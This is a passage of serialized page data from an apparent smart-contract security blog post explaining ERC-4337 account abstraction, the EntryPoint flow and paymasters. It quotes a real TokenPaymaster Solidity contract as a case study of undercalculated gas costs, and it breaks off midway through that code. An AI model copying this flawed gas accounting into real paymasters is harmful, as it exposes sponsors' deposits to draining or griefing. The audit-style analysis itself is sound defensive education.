paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":108780,"width":103995,"height":14},"/posts/paymasters-evm/title.png",[108782,108783],"evm","ERC-4337",{"type":21,"children":108785,"toc":114535},[108786,108790,108801,108806,108811,108816,108822,108828,108833,108838,108844,108849,108877,108883,108888,108895,108900,108910,108915,108941,108947,108967,108973,108993,109001,109032,109065,109074,109086,109111,109123,109136,109179,109185,109218,109317,109336,109359,109364,109370,109398,109545,109550,109577,109583,109595,109607,109616,109651,109656,111141,111169,111190,111195,111207,111216,111221,111239,111262,111267,111273,111327,111333,111366,111401,112225,112261,112297,112363,112396,112894,112947,112959,113523,113592,113619,114241,114283,114310,114322,114383,114402,114436,114441,114446,114451,114455,114460,114495,114521,114526,114531],{"type":24,"tag":42085,"props":108787,"children":108788},{"id":35723},[108789],{"type":29,"value":35726},{"type":24,"tag":25,"props":108791,"children":108792},{},[108793,108799],{"type":24,"tag":57,"props":108794,"children":108797},{"href":108795,"rel":108796},"https://docs.erc4337.io/",[61],[108798],{"type":29,"value":108783},{"type":29,"value":108800}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":108802,"children":108803},{},[108804],{"type":29,"value":108805},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":108807,"children":108808},{},[108809],{"type":29,"value":108810},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":108812,"children":108813},{},[108814],{"type":29,"value":108815},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":42085,"props":108817,"children":108819},{"id":108818},"erc4337-overview",[108820],{"type":29,"value":108821},"ERC4337 Overview",{"type":24,"tag":228,"props":108823,"children":108825},{"id":108824},"traditional-eoas-vs-smart-contract-wallets",[108826],{"type":29,"value":108827},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":108829,"children":108830},{},[108831],{"type":29,"value":108832},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":25,"props":108834,"children":108835},{},[108836],{"type":29,"value":108837},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":228,"props":108839,"children":108841},{"id":108840},"why-erc4337-was-introduced",[108842],{"type":29,"value":108843},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":108845,"children":108846},{},[108847],{"type":29,"value":108848},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":1380,"props":108850,"children":108851},{},[108852,108857,108862,108867,108872],{"type":24,"tag":179,"props":108853,"children":108854},{},[108855],{"type":29,"value":108856},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":179,"props":108858,"children":108859},{},[108860],{"type":29,"value":108861},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":179,"props":108863,"children":108864},{},[108865],{"type":29,"value":108866},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":179,"props":108868,"children":108869},{},[108870],{"type":29,"value":108871},"Using custom signature schemes or multisig logic",{"type":24,"tag":179,"props":108873,"children":108874},{},[108875],{"type":29,"value":108876},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":228,"props":108878,"children":108880},{"id":108879},"how-erc-4337-works",[108881],{"type":29,"value":108882},"How ERC-4337 Works",{"type":24,"tag":25,"props":108884,"children":108885},{},[108886],{"type":29,"value":108887},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":108889,"children":108890},{},[108891],{"type":24,"tag":11511,"props":108892,"children":108894},{"alt":57299,"src":108893},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":108896,"children":108897},{},[108898],{"type":29,"value":108899},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":235,"props":108901,"children":108903},{"id":108902},"useroperation",[108904],{"type":24,"tag":284,"props":108905,"children":108907},{"className":108906},[],[108908],{"type":29,"value":108909},"UserOperation",{"type":24,"tag":25,"props":108911,"children":108912},{},[108913],{"type":29,"value":108914},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":1380,"props":108916,"children":108917},{},[108918,108923,108928],{"type":24,"tag":179,"props":108919,"children":108920},{},[108921],{"type":29,"value":108922},"Target contract call(s)",{"type":24,"tag":179,"props":108924,"children":108925},{},[108926],{"type":29,"value":108927},"Signature or validation metadata",{"type":24,"tag":179,"props":108929,"children":108930},{},[108931,108933,108939],{"type":29,"value":108932},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":284,"props":108934,"children":108936},{"className":108935},[],[108937],{"type":29,"value":108938},"UserOperations",{"type":29,"value":108940}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":235,"props":108942,"children":108944},{"id":108943},"smart-contract-account",[108945],{"type":29,"value":108946},"Smart Contract Account",{"type":24,"tag":25,"props":108948,"children":108949},{},[108950,108952,108958,108959,108965],{"type":29,"value":108951},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":284,"props":108953,"children":108955},{"className":108954},[],[108956],{"type":29,"value":108957},"validateUserOp()",{"type":29,"value":1323},{"type":24,"tag":284,"props":108960,"children":108962},{"className":108961},[],[108963],{"type":29,"value":108964},"executeUserOp()",{"type":29,"value":108966},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":235,"props":108968,"children":108970},{"id":108969},"bundler",[108971],{"type":29,"value":108972},"Bundler",{"type":24,"tag":25,"props":108974,"children":108975},{},[108976,108978,108983,108985,108991],{"type":29,"value":108977},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":284,"props":108979,"children":108981},{"className":108980},[],[108982],{"type":29,"value":108938},{"type":29,"value":108984},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":284,"props":108986,"children":108988},{"className":108987},[],[108989],{"type":29,"value":108990},"EntryPoint",{"type":29,"value":108992}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":235,"props":108994,"children":108995},{"id":22250},[108996],{"type":24,"tag":284,"props":108997,"children":108999},{"className":108998},[],[109000],{"type":29,"value":108990},{"type":24,"tag":25,"props":109002,"children":109003},{},[109004,109005,109010,109012,109017,109019,109023,109025,109030],{"type":29,"value":1713},{"type":24,"tag":284,"props":109006,"children":109008},{"className":109007},[],[109009],{"type":29,"value":108990},{"type":29,"value":109011}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":284,"props":109013,"children":109015},{"className":109014},[],[109016],{"type":29,"value":108938},{"type":29,"value":109018}," submitted by a ",{"type":24,"tag":188,"props":109020,"children":109021},{},[109022],{"type":29,"value":108972},{"type":29,"value":109024},", the ",{"type":24,"tag":284,"props":109026,"children":109028},{"className":109027},[],[109029],{"type":29,"value":108990},{"type":29,"value":109031}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":109033,"children":109034},{},[109035,109037,109042,109044,109048,109050,109055,109057,109063],{"type":29,"value":109036},"Once all operations have been processed, the ",{"type":24,"tag":284,"props":109038,"children":109040},{"className":109039},[],[109041],{"type":29,"value":108990},{"type":29,"value":109043}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":188,"props":109045,"children":109046},{},[109047],{"type":29,"value":108972},{"type":29,"value":109049},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":284,"props":109051,"children":109053},{"className":109052},[],[109054],{"type":29,"value":108990},{"type":29,"value":109056}," or from a ",{"type":24,"tag":284,"props":109058,"children":109060},{"className":109059},[],[109061],{"type":29,"value":109062},"paymaster",{"type":29,"value":109064}," that has agreed to sponsor the transaction.",{"type":24,"tag":235,"props":109066,"children":109067},{"id":109062},[109068],{"type":24,"tag":284,"props":109069,"children":109071},{"className":109070},[],[109072],{"type":29,"value":109073},"Paymaster",{"type":24,"tag":25,"props":109075,"children":109076},{},[109077,109079,109084],{"type":29,"value":109078},"A ",{"type":24,"tag":284,"props":109080,"children":109082},{"className":109081},[],[109083],{"type":29,"value":109062},{"type":29,"value":109085}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":1380,"props":109087,"children":109088},{},[109089,109100],{"type":24,"tag":179,"props":109090,"children":109091},{},[109092,109098],{"type":24,"tag":284,"props":109093,"children":109095},{"className":109094},[],[109096],{"type":29,"value":109097},"validatePaymasterUserOp()",{"type":29,"value":109099}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":179,"props":109101,"children":109102},{},[109103,109109],{"type":24,"tag":284,"props":109104,"children":109106},{"className":109105},[],[109107],{"type":29,"value":109108},"postOp()",{"type":29,"value":109110},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":109112,"children":109113},{},[109114,109116,109121],{"type":29,"value":109115},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":284,"props":109117,"children":109119},{"className":109118},[],[109120],{"type":29,"value":109062},{"type":29,"value":109122}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":228,"props":109124,"children":109126},{"id":109125},"understanding-the-entrypoints-flow",[109127,109129,109134],{"type":29,"value":109128},"Understanding the ",{"type":24,"tag":284,"props":109130,"children":109132},{"className":109131},[],[109133],{"type":29,"value":108990},{"type":29,"value":109135},"'s Flow",{"type":24,"tag":25,"props":109137,"children":109138},{},[109139,109141,109146,109147,109152,109154,109165,109167,109172,109173,109178],{"type":29,"value":109140},"When a bundler submits ",{"type":24,"tag":284,"props":109142,"children":109144},{"className":109143},[],[109145],{"type":29,"value":108938},{"type":29,"value":23927},{"type":24,"tag":284,"props":109148,"children":109150},{"className":109149},[],[109151],{"type":29,"value":108990},{"type":29,"value":109153}," contract via ",{"type":24,"tag":57,"props":109155,"children":109158},{"href":109156,"rel":109157},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[61],[109159],{"type":24,"tag":284,"props":109160,"children":109162},{"className":109161},[],[109163],{"type":29,"value":109164},"handleOps()",{"type":29,"value":109166},", the processing occurs in two main phases: ",{"type":24,"tag":188,"props":109168,"children":109169},{},[109170],{"type":29,"value":109171},"Validation",{"type":29,"value":1323},{"type":24,"tag":188,"props":109174,"children":109175},{},[109176],{"type":29,"value":109177},"Execution",{"type":29,"value":66},{"type":24,"tag":235,"props":109180,"children":109182},{"id":109181},"validation-phase",[109183],{"type":29,"value":109184},"Validation Phase",{"type":24,"tag":25,"props":109186,"children":109187},{},[109188,109190,109195,109197,109203,109205,109211,109212,109217],{"type":29,"value":109189},"In this phase, the ",{"type":24,"tag":284,"props":109191,"children":109193},{"className":109192},[],[109194],{"type":29,"value":108990},{"type":29,"value":109196}," first validates all operations in the submitted ",{"type":24,"tag":284,"props":109198,"children":109200},{"className":109199},[],[109201],{"type":29,"value":109202},"UserOps",{"type":29,"value":109204}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":284,"props":109206,"children":109208},{"className":109207},[],[109209],{"type":29,"value":109210},"UserOp",{"type":29,"value":109024},{"type":24,"tag":284,"props":109213,"children":109215},{"className":109214},[],[109216],{"type":29,"value":108990},{"type":29,"value":1636},{"type":24,"tag":175,"props":109219,"children":109220},{},[109221,109239,109257,109278,109290],{"type":24,"tag":179,"props":109222,"children":109223},{},[109224,109231,109233],{"type":24,"tag":57,"props":109225,"children":109228},{"href":109226,"rel":109227},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[61],[109229],{"type":29,"value":109230},"Calculates",{"type":29,"value":109232}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":284,"props":109234,"children":109236},{"className":109235},[],[109237],{"type":29,"value":109238},"maxFeePerGas",{"type":24,"tag":179,"props":109240,"children":109241},{},[109242,109249,109250,109255],{"type":24,"tag":57,"props":109243,"children":109246},{"href":109244,"rel":109245},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[61],[109247],{"type":29,"value":109248},"Calls",{"type":29,"value":14024},{"type":24,"tag":284,"props":109251,"children":109253},{"className":109252},[],[109254],{"type":29,"value":108957},{"type":29,"value":109256}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":179,"props":109258,"children":109259},{},[109260,109262,109269,109271,109276],{"type":29,"value":109261},"If no paymaster is specified, attempts to ",{"type":24,"tag":57,"props":109263,"children":109266},{"href":109264,"rel":109265},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[61],[109267],{"type":29,"value":109268},"deduct",{"type":29,"value":109270}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":284,"props":109272,"children":109274},{"className":109273},[],[109275],{"type":29,"value":108990},{"type":29,"value":109277}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":179,"props":109279,"children":109280},{},[109281,109288],{"type":24,"tag":57,"props":109282,"children":109285},{"href":109283,"rel":109284},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[61],[109286],{"type":29,"value":109287},"Validates",{"type":29,"value":109289}," the nonce to prevent replay attacks",{"type":24,"tag":179,"props":109291,"children":109292},{},[109293,109295,109301,109303,109309,109310,109315],{"type":29,"value":109294},"If a paymaster is specified, it will ",{"type":24,"tag":57,"props":109296,"children":109299},{"href":109297,"rel":109298},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[61],[109300],{"type":29,"value":109268},{"type":29,"value":109302}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":57,"props":109304,"children":109307},{"href":109305,"rel":109306},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[61],[109308],{"type":29,"value":45009},{"type":29,"value":14024},{"type":24,"tag":284,"props":109311,"children":109313},{"className":109312},[],[109314],{"type":29,"value":109097},{"type":29,"value":109316}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":109318,"children":109319},{},[109320,109322,109327,109329,109334],{"type":29,"value":109321},"Only after all these validation checks pass will the ",{"type":24,"tag":284,"props":109323,"children":109325},{"className":109324},[],[109326],{"type":29,"value":108990},{"type":29,"value":109328}," move on to actually executing the ",{"type":24,"tag":284,"props":109330,"children":109332},{"className":109331},[],[109333],{"type":29,"value":108909},{"type":29,"value":109335},". This strict validation flow ensures that:",{"type":24,"tag":1380,"props":109337,"children":109338},{},[109339,109344,109349,109354],{"type":24,"tag":179,"props":109340,"children":109341},{},[109342],{"type":29,"value":109343},"The operation is legitimate and authorized by the user",{"type":24,"tag":179,"props":109345,"children":109346},{},[109347],{"type":29,"value":109348},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":179,"props":109350,"children":109351},{},[109352],{"type":29,"value":109353},"The operation cannot be replayed",{"type":24,"tag":179,"props":109355,"children":109356},{},[109357],{"type":29,"value":109358},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":109360,"children":109361},{},[109362],{"type":29,"value":109363},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":235,"props":109365,"children":109367},{"id":109366},"execution-phase",[109368],{"type":29,"value":109369},"Execution Phase",{"type":24,"tag":25,"props":109371,"children":109372},{},[109373,109375,109380,109382,109389,109391,109396],{"type":29,"value":109374},"After all operations have passed validation, the ",{"type":24,"tag":284,"props":109376,"children":109378},{"className":109377},[],[109379],{"type":29,"value":108990},{"type":29,"value":109381}," begins the ",{"type":24,"tag":57,"props":109383,"children":109386},{"href":109384,"rel":109385},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[61],[109387],{"type":29,"value":109388},"execution",{"type":29,"value":109390}," phase, processing each ",{"type":24,"tag":284,"props":109392,"children":109394},{"className":109393},[],[109395],{"type":29,"value":108909},{"type":29,"value":109397}," individually. For each operation, the flow is:",{"type":24,"tag":175,"props":109399,"children":109400},{},[109401,109461,109507],{"type":24,"tag":179,"props":109402,"children":109403},{},[109404,109405,109410,109412,109418,109419,109425,109427],{"type":29,"value":1713},{"type":24,"tag":284,"props":109406,"children":109408},{"className":109407},[],[109409],{"type":29,"value":108990},{"type":29,"value":109411}," makes a ",{"type":24,"tag":57,"props":109413,"children":109416},{"href":109414,"rel":109415},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[61],[109417],{"type":29,"value":45009},{"type":29,"value":63498},{"type":24,"tag":284,"props":109420,"children":109422},{"className":109421},[],[109423],{"type":29,"value":109424},"innerHandleOp()",{"type":29,"value":109426},", which:\n",{"type":24,"tag":1380,"props":109428,"children":109429},{},[109430,109442,109447],{"type":24,"tag":179,"props":109431,"children":109432},{},[109433,109440],{"type":24,"tag":57,"props":109434,"children":109437},{"href":109435,"rel":109436},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[61],[109438],{"type":29,"value":109439},"Forwards",{"type":29,"value":109441}," the operation to the sender's smart account contract",{"type":24,"tag":179,"props":109443,"children":109444},{},[109445],{"type":29,"value":109446},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":179,"props":109448,"children":109449},{},[109450,109452,109459],{"type":29,"value":109451},"Handles ",{"type":24,"tag":57,"props":109453,"children":109456},{"href":109454,"rel":109455},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[61],[109457],{"type":29,"value":109458},"post-execution",{"type":29,"value":109460}," tasks and cleanup",{"type":24,"tag":179,"props":109462,"children":109463},{},[109464,109466,109472,109474,109480,109481,109487,109489],{"type":29,"value":109465},"If a paymaster was used, ",{"type":24,"tag":284,"props":109467,"children":109469},{"className":109468},[],[109470],{"type":29,"value":109471},"Entrypoint",{"type":29,"value":109473}," will ",{"type":24,"tag":57,"props":109475,"children":109478},{"href":109476,"rel":109477},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[61],[109479],{"type":29,"value":45009},{"type":29,"value":14024},{"type":24,"tag":284,"props":109482,"children":109484},{"className":109483},[],[109485],{"type":29,"value":109486},"paymaster.postOp()",{"type":29,"value":109488}," to:\n",{"type":24,"tag":1380,"props":109490,"children":109491},{},[109492,109497,109502],{"type":24,"tag":179,"props":109493,"children":109494},{},[109495],{"type":29,"value":109496},"Allow paymaster to finalize its accounting",{"type":24,"tag":179,"props":109498,"children":109499},{},[109500],{"type":29,"value":109501},"Process any refunds or additional charges",{"type":24,"tag":179,"props":109503,"children":109504},{},[109505],{"type":29,"value":109506},"Complete any paymaster-specific logic",{"type":24,"tag":179,"props":109508,"children":109509},{},[109510,109512,109517,109518,109525,109527],{"type":29,"value":109511},"Finally, after all operations are processed, the ",{"type":24,"tag":284,"props":109513,"children":109515},{"className":109514},[],[109516],{"type":29,"value":108990},{"type":29,"value":14024},{"type":24,"tag":57,"props":109519,"children":109522},{"href":109520,"rel":109521},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[61],[109523],{"type":29,"value":109524},"compensates",{"type":29,"value":109526}," the bundler for:\n",{"type":24,"tag":1380,"props":109528,"children":109529},{},[109530,109535,109540],{"type":24,"tag":179,"props":109531,"children":109532},{},[109533],{"type":29,"value":109534},"Gas costs from executing all operations",{"type":24,"tag":179,"props":109536,"children":109537},{},[109538],{"type":29,"value":109539},"Overhead from submitting the batch transaction",{"type":24,"tag":179,"props":109541,"children":109542},{},[109543],{"type":29,"value":109544},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":109546,"children":109547},{},[109548],{"type":29,"value":109549},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":25,"props":109551,"children":109552},{},[109553,109555,109560,109562,109568,109570,109575],{"type":29,"value":109554},"Now that we understand how the ",{"type":24,"tag":284,"props":109556,"children":109558},{"className":109557},[],[109559],{"type":29,"value":108990},{"type":29,"value":109561}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":284,"props":109563,"children":109565},{"className":109564},[],[109566],{"type":29,"value":109567},"paymasters",{"type":29,"value":109569}," that align with the ",{"type":24,"tag":284,"props":109571,"children":109573},{"className":109572},[],[109574],{"type":29,"value":108990},{"type":29,"value":109576},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":42085,"props":109578,"children":109580},{"id":109579},"common-pitfalls-in-paymaster-implementation",[109581],{"type":29,"value":109582},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":109584,"children":109585},{},[109586,109588,109593],{"type":29,"value":109587},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":284,"props":109589,"children":109591},{"className":109590},[],[109592],{"type":29,"value":108990},{"type":29,"value":109594}," to exploitation or griefing.",{"type":24,"tag":25,"props":109596,"children":109597},{},[109598,109600,109605],{"type":29,"value":109599},"In this section, we’ll walk through the ",{"type":24,"tag":188,"props":109601,"children":109602},{},[109603],{"type":29,"value":109604},"two most common pitfalls",{"type":29,"value":109606}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":228,"props":109608,"children":109610},{"id":109609},"undercalculated-gas-costs",[109611],{"type":24,"tag":188,"props":109612,"children":109613},{},[109614],{"type":29,"value":109615},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":109617,"children":109618},{},[109619,109621,109626,109628,109633,109635,109640,109642,109649],{"type":29,"value":109620},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":284,"props":109622,"children":109624},{"className":109623},[],[109625],{"type":29,"value":108990},{"type":29,"value":109627},". When a ",{"type":24,"tag":284,"props":109629,"children":109631},{"className":109630},[],[109632],{"type":29,"value":108909},{"type":29,"value":109634}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":284,"props":109636,"children":109638},{"className":109637},[],[109639],{"type":29,"value":108990},{"type":29,"value":109641}," charges a ",{"type":24,"tag":57,"props":109643,"children":109646},{"href":109644,"rel":109645},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[61],[109647],{"type":29,"value":109648},"penalty of 10%",{"type":29,"value":109650}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":109652,"children":109653},{},[109654],{"type":29,"value":109655},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":317,"props":109657,"children":109659},{"className":12046,"code":109658,"language":12045,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[109660],{"type":24,"tag":284,"props":109661,"children":109662},{"__ignoreMap":7},[109663,109707,109714,109771,109779,109787,109829,109836,109848,109870,109891,109921,109972,110002,110023,110061,110100,110117,110156,110180,110197,110240,110262,110279,110296,110303,110310,110336,110353,110388,110419,110431,110478,110485,110492,110499,110566,110573,110580,110587,110598,110617,110636,110700,110723,110756,110771,110806,110814,110853,110878,110899,110907,110934,110961,110969,110977,111019,111026,111033,111057,111073,111080,111087,111105,111118,111125,111133],{"type":24,"tag":327,"props":109664,"children":109665},{"class":329,"line":330},[109666,109670,109675,109680,109685,109689,109694,109698,109703],{"type":24,"tag":327,"props":109667,"children":109668},{"style":334},[109669],{"type":29,"value":96541},{"type":24,"tag":327,"props":109671,"children":109672},{"style":1639},[109673],{"type":29,"value":109674}," TokenPaymaster",{"type":24,"tag":327,"props":109676,"children":109677},{"style":334},[109678],{"type":29,"value":109679}," is",{"type":24,"tag":327,"props":109681,"children":109682},{"style":1639},[109683],{"type":29,"value":109684}," BasePaymaster",{"type":24,"tag":327,"props":109686,"children":109687},{"style":346},[109688],{"type":29,"value":2744},{"type":24,"tag":327,"props":109690,"children":109691},{"style":1639},[109692],{"type":29,"value":109693},"UniswapHelper",{"type":24,"tag":327,"props":109695,"children":109696},{"style":346},[109697],{"type":29,"value":2744},{"type":24,"tag":327,"props":109699,"children":109700},{"style":1639},[109701],{"type":29,"value":109702},"OracleHelper",{"type":24,"tag":327,"props":109704,"children":109705},{"style":346},[109706],{"type":29,"value":497},{"type":24,"tag":327,"props":109708,"children":109709},{"class":329,"line":367},[109710],{"type":24,"tag":327,"props":109711,"children":109712},{"style":346},[109713],{"type":29,"value":17865},{"type":24,"tag":327,"props":109715,"children":109716},{"class":329,"line":408},[109717,109721,109726,109730,109735,109740,109745,109749,109754,109758,109762,109767],{"type":24,"tag":327,"props":109718,"children":109719},{"style":334},[109720],{"type":29,"value":96558},{"type":24,"tag":327,"props":109722,"children":109723},{"style":340},[109724],{"type":29,"value":109725}," 